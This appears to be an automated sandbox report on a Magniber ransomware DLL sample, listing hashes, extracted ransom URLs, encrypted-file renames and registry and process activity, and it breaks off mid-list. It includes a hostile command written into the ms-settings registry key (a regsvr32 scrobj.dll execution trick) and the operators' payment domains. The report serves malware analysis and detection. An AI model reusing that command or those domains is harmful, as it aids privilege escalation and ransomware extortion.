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Analysis
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max time kernel
120s -
max time network
135s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
23/08/2021, 15:14
Static task
static1
Behavioral task
behavioral1
Sample
c17ec37e0515fa380687c26cfb69b4d3.dll
Resource
win7v20210410
Behavioral task
behavioral2
Sample
c17ec37e0515fa380687c26cfb69b4d3.dll
Resource
win10v20210410
General
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Target
c17ec37e0515fa380687c26cfb69b4d3.dll
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Size
21KB
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MD5
c17ec37e0515fa380687c26cfb69b4d3
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SHA1
44ecf08588032a481dd69f3e94626682b631d0c5
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SHA256
36417f0ea6d948cbd7e003b3cefbb603d886849a8c80e0999c7969b03f2b9c28
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SHA512
4895fb9633cf923e937a66fa36f3586dbb178ca94b7df2d5ce8aac82af752a035f85b14ed2aa6714d2d6fdbbb3826c6ad5be95d2a44dbe2e3405cb6ee1bde156
Malware Config
Extracted
C:\Users\Admin\Desktop\readme.txt
magniber
http://463c2600d2381220zarkzonn.xurvsjipiyubcsta.onion/zarkzonn
http://463c2600d2381220zarkzonn.tankmy.space/zarkzonn
http://463c2600d2381220zarkzonn.gorise.uno/zarkzonn
http://463c2600d2381220zarkzonn.laygive.site/zarkzonn
http://463c2600d2381220zarkzonn.loglook.club/zarkzonn
Signatures
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Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
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Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2096 2072 cmd.exe 26 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3464 2072 cmd.exe 26 -
Modifies extensions of user files 11 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\FindShow.tiff => C:\Users\Admin\Pictures\FindShow.tiff.zarkzonn rundll32.exe File opened for modification C:\Users\Admin\Pictures\OptimizeReset.tiff rundll32.exe File renamed C:\Users\Admin\Pictures\OptimizeReset.tiff => C:\Users\Admin\Pictures\OptimizeReset.tiff.zarkzonn rundll32.exe File renamed C:\Users\Admin\Pictures\ReceiveReset.raw => C:\Users\Admin\Pictures\ReceiveReset.raw.zarkzonn rundll32.exe File renamed C:\Users\Admin\Pictures\AssertBlock.tiff => C:\Users\Admin\Pictures\AssertBlock.tiff.zarkzonn rundll32.exe File opened for modification C:\Users\Admin\Pictures\FindShow.tiff rundll32.exe File opened for modification C:\Users\Admin\Pictures\AssertBlock.tiff rundll32.exe File renamed C:\Users\Admin\Pictures\WatchUnprotect.png => C:\Users\Admin\Pictures\WatchUnprotect.png.zarkzonn rundll32.exe File renamed C:\Users\Admin\Pictures\PopInstall.crw => C:\Users\Admin\Pictures\PopInstall.crw.zarkzonn rundll32.exe File renamed C:\Users\Admin\Pictures\StopUndo.raw => C:\Users\Admin\Pictures\StopUndo.raw.zarkzonn rundll32.exe File renamed C:\Users\Admin\Pictures\SwitchSkip.raw => C:\Users\Admin\Pictures\SwitchSkip.raw.zarkzonn rundll32.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation cmd.exe -
Suspicious use of SetThreadContext 10 IoCs
description pid Process PID 2980 set thread context of 0 2980 rundll32.exe PID 2980 set thread context of 0 2980 rundll32.exe PID 2980 set thread context of 0 2980 rundll32.exe PID 2980 set thread context of 0 2980 rundll32.exe PID 2980 set thread context of 0 2980 rundll32.exe PID 2980 set thread context of 0 2980 rundll32.exe PID 2980 set thread context of 0 2980 rundll32.exe PID 2980 set thread context of 0 2980 rundll32.exe PID 2980 set thread context of 0 2980 rundll32.exe PID 2980 set thread context of 0 2980 rundll32.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\ms-settings\shell\open\command\ = "regsvr32.exe scrobj.dll /s /u /n /i:C:\\Users\\Public\\readme.txt" rundll32.exe Key deleted \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_iecompat Process not Found Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_ieco = "C:\\Users\\Admin\\AppData\\Local\\Packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatCache" Process not Found Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 24b68b4a3198d701 MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\MigrationTime = 301bd569d72dd701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_Emie Process not Found Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Main MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\iedownload Process not Found Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus MicrosoftEdgeCP.exe Key deleted \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_iecompatua Process not Found Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0000000000000000 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121 Process not Found Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\NextPromptBuild = "15063" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DOMStorage MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_EmieUserList\Cach = "MicrosoftEdge_EmieUserList:" Process not Found Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\Main MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Disallowed\CTLs MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\ms-settings\shell rundll32.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Rating\Rating Prompt Shown = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_Emie = "256" Process not Found Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DomainSuggestion\FileNames MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\iedownload\CachePath = "C:\\Users\\Admin\\AppData\\Local\\Packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\AC\\MicrosoftEdge\\User\\Default\\DownloadHistory" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-Revision = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\ChildCapabilities Process not Found Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Content MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\OnlineHistory\UUID = "{6B643EAC-F875-48FA-8A6E-3A9BB9188B8F}" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\EnableNegotiate = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersion = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-362405 Process not Found Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_ieco = "C:\\Users\\Admin\\AppData\\Local\\Packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\IECompatUaCache" Process not Found Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowser MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modify. = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\ExtensionIn = "5" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-362405 = "microsoft.microsoftedge_8wekyb3d8bbwe/121" Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_EmieUserList\Cach = "MicrosoftEdge\\User\\Default\\EmieUserList" Process not Found Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-3624051433-2125758914-1423191267-1740899205-1073925389-3782572162-737981194\Children\S-1-15-2-362405 = "121" Process not Found Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = bafc29523198d701 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming\ChangeUnitGenerationNeeded = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_EmieSiteList\Cach = "MicrosoftEdge\\User\\Default\\EmieSiteList" Process not Found Set value (data) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\ChildCapabilities\001 = 53002d0031002d00310035002d0033002d003100000053002d0031002d00310035002d0033002d003900000053002d0031002d00310035002d0033002d0033003200310035003400330030003800380034002d0031003300330039003800310036003200390032002d00380039003200350037003600310036002d003100310034003500380033003100300031003900000053002d0031002d00310035002d0033002d003700380037003400340038003200350034002d0031003200300037003900370032003800350038002d0033003500350038003600330033003600320032002d003100300035003900380038003600390036003400000053002d0031002d00310035002d0033002d0033003800340035003200370033003400360033002d0031003300330031003400320037003700300032002d0031003100380036003500350031003100390035002d003100310034003800310030003900390037003700000053002d0031002d00310035002d0033002d0031003000320034002d0031003000360035003300360035003900330036002d0031003200380031003600300034003700310036002d0033003500310031003700330038003400320038002d0031003600350034003700320031003600380037002d003400330032003700330034003400370039002d0033003200330032003100330035003800300036002d0034003000350033003200360034003100320032002d003300340035003600390033003400360038003100000053002d0031002d00310035002d0033002d0031003000320034002d0033003600320033003800350035003000340031002d0031003800320036003900390039003900350036002d0033003700340037003000360039003800310038002d0033003500320035003200360030003200320033002d0033003700340037003300370034003500310030002d0031003700340036003200370032003600320034002d003900350030003600300031003100360038002d0035003600350035003600330033003100000053002d0031002d00310035002d0033002d0031003000320034002d0032003400300035003400340033003400380039002d003800370034003000330036003100320032002d0034003200380036003000330035003500350035002d0031003800320033003900320031003500360035002d0031003700340036003500340037003400330031002d0032003400350033003800380035003400340038002d0033003600320035003900350032003900300032002d00390039003100360033003100320035003600000053002d0031002d00310035002d0033002d0031003000320034002d0031003500300032003800320035003100360036002d0031003900360033003700300038003300340035002d0032003600310036003300370037003400360031002d0032003500360032003800390037003000370034002d0034003100390032003000320038003300370032002d0033003900360038003300300031003500370030002d0031003900390037003600320038003600390032002d003100340033003500390035003300360032003200000053002d0031002d00310035002d0033002d0031003000320034002d0033003200300033003300350031003400320039002d0032003100320030003400340033003700380034002d0032003800370032003600370030003700390037002d0031003900310038003900350038003300300032002d0032003800320039003000350035003600340037002d0034003200370035003700390034003500310039002d003700360035003600360034003400310034002d003200370035003100370037003300330033003400000053002d0031002d00310035002d0033002d0031003000320034002d0031003700380038003100320039003300300033002d0032003100380033003200300038003500370037002d0033003900390039003400370034003200370032002d0033003100340037003300350039003900380035002d0031003700350037003300320032003100390033002d0033003800310035003700350036003300380036002d003100350031003500380032003100380030002d003100380038003800310030003100310039003300000053002d0031002d00310035002d0033002d0031003000320034002d0033003100350033003500300039003600310033002d003900360030003600360036003700360037002d0033003700320034003600310031003100330035002d0032003700320035003600360032003600340030002d00310032003100330038003200350033002d003500340033003900310030003200320037002d0031003900350030003400310034003600330035002d003400310039003000320039003000310038003700000053002d0031002d00310035002d0033002d0031003000320034002d003100320036003000370038003500390033002d0033003600350038003600380036003700320038002d0031003900380034003800380033003300300036002d003800320031003300390039003600390036002d0033003600380034003000370039003900360030002d003500360034003000330038003600380030002d0033003400310034003800380030003000390038002d003300340033003500380032003500320030003100000053002d0031002d00310035002d0033002d0031003000320034002d0031003600390032003900370030003100350035002d0034003000350034003800390033003300330035002d003100380035003700310034003000390031002d0033003300360032003600300031003900340033002d0033003500320036003500390033003100380031002d0031003100350039003800310036003900380034002d0032003100390039003000300038003500380031002d00340039003700340039003200390039003100000053002d0031002d00310035002d0033002d0031003000320034002d003200320030003000320032003700370030002d003700300031003200360031003900380034002d0033003900390031003200390032003900350036002d0034003200300038003700350031003000320030002d0032003900310038003200390033003000350038002d0033003300390036003400310039003300330031002d0031003700300030003900330032003300340038002d003200300037003800330036003400380039003100000053002d0031002d00310035002d0033002d0031003000320034002d003500320038003100310038003900360036002d0033003800370036003800370034003300390038002d003700300039003500310033003500370031002d0031003900300037003800370033003000380034002d0033003500390038003200320037003600330034002d003300360039003800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Process not Found Set value (int) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Extensible Cache\MicrosoftEdge_EmieUserList\Cach = "1" Process not Found Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000_Classes\Local Settings\MrtCache MicrosoftEdge.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 2760 notepad.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2980 rundll32.exe 2980 rundll32.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2376 Process not Found -
Suspicious behavior: MapViewOfSection 10 IoCs
pid Process 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 2980 rundll32.exe 4360 MicrosoftEdgeCP.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2376 Process not Found Token: SeCreatePagefilePrivilege 2376 Process not Found Token: SeShutdownPrivilege 2376 Process not Found Token: SeCreatePagefilePrivilege 2376 Process not Found Token: SeShutdownPrivilege 2376 Process not Found Token: SeCreatePagefilePrivilege 2376 Process not Found Token: SeShutdownPrivilege 2376 Process not Found Token: SeCreatePagefilePrivilege 2376 Process not Found Token: SeShutdownPrivilege 2376 Process not Found Token: SeCreatePagefilePrivilege 2376 Process not Found Token: SeShutdownPrivilege 2376 Process not Found Token: SeCreatePagefilePrivilege 2376 Process not Found Token: SeShutdownPrivilege 2376 Process not Found Token: SeCreatePagefilePrivilege 2376 Process not Found Token: SeShutdownPrivilege 2376 Process not Found Token: SeCreatePagefilePrivilege 2376 Process not Found Token: SeShutdownPrivilege 2376 Process not Found Token: SeCreatePagefilePrivilege 2376 Process not Found Token: SeShutdownPrivilege 2376 Process not Found Token: SeCreatePagefilePrivilege 2376 Process not Found Token: SeShutdownPrivilege 2376 Process not Found Token: SeCreatePagefilePrivilege 2376 Process not Found Token: SeShutdownPrivilege 2376 Process not Found Token: SeCreatePagefilePrivilege 2376 Process not Found Token: SeIncreaseQuotaPrivilege 1164 WMIC.exe Token: SeSecurityPrivilege 1164 WMIC.exe Token: SeTakeOwnershipPrivilege 1164 WMIC.exe Token: SeLoadDriverPrivilege 1164 WMIC.exe Token: SeSystemProfilePrivilege 1164 WMIC.exe Token: SeSystemtimePrivilege 1164 WMIC.exe Token: SeProfSingleProcessPrivilege 1164 WMIC.exe Token: SeIncBasePriorityPrivilege 1164 WMIC.exe Token: SeCreatePagefilePrivilege 1164 WMIC.exe Token: SeBackupPrivilege 1164 WMIC.exe Token: SeRestorePrivilege 1164 WMIC.exe Token: SeShutdownPrivilege 1164 WMIC.exe Token: SeDebugPrivilege 1164 WMIC.exe Token: SeSystemEnvironmentPrivilege 1164 WMIC.exe Token: SeRemoteShutdownPrivilege 1164 WMIC.exe Token: SeUndockPrivilege 1164 WMIC.exe Token: SeManageVolumePrivilege 1164 WMIC.exe Token: 33 1164 WMIC.exe Token: 34 1164 WMIC.exe Token: 35 1164 WMIC.exe Token: 36 1164 WMIC.exe Token: SeIncreaseQuotaPrivilege 1056 WMIC.exe Token: SeSecurityPrivilege 1056 WMIC.exe Token: SeTakeOwnershipPrivilege 1056 WMIC.exe Token: SeLoadDriverPrivilege 1056 WMIC.exe Token: SeSystemProfilePrivilege 1056 WMIC.exe Token: SeSystemtimePrivilege 1056 WMIC.exe Token: SeProfSingleProcessPrivilege 1056 WMIC.exe Token: 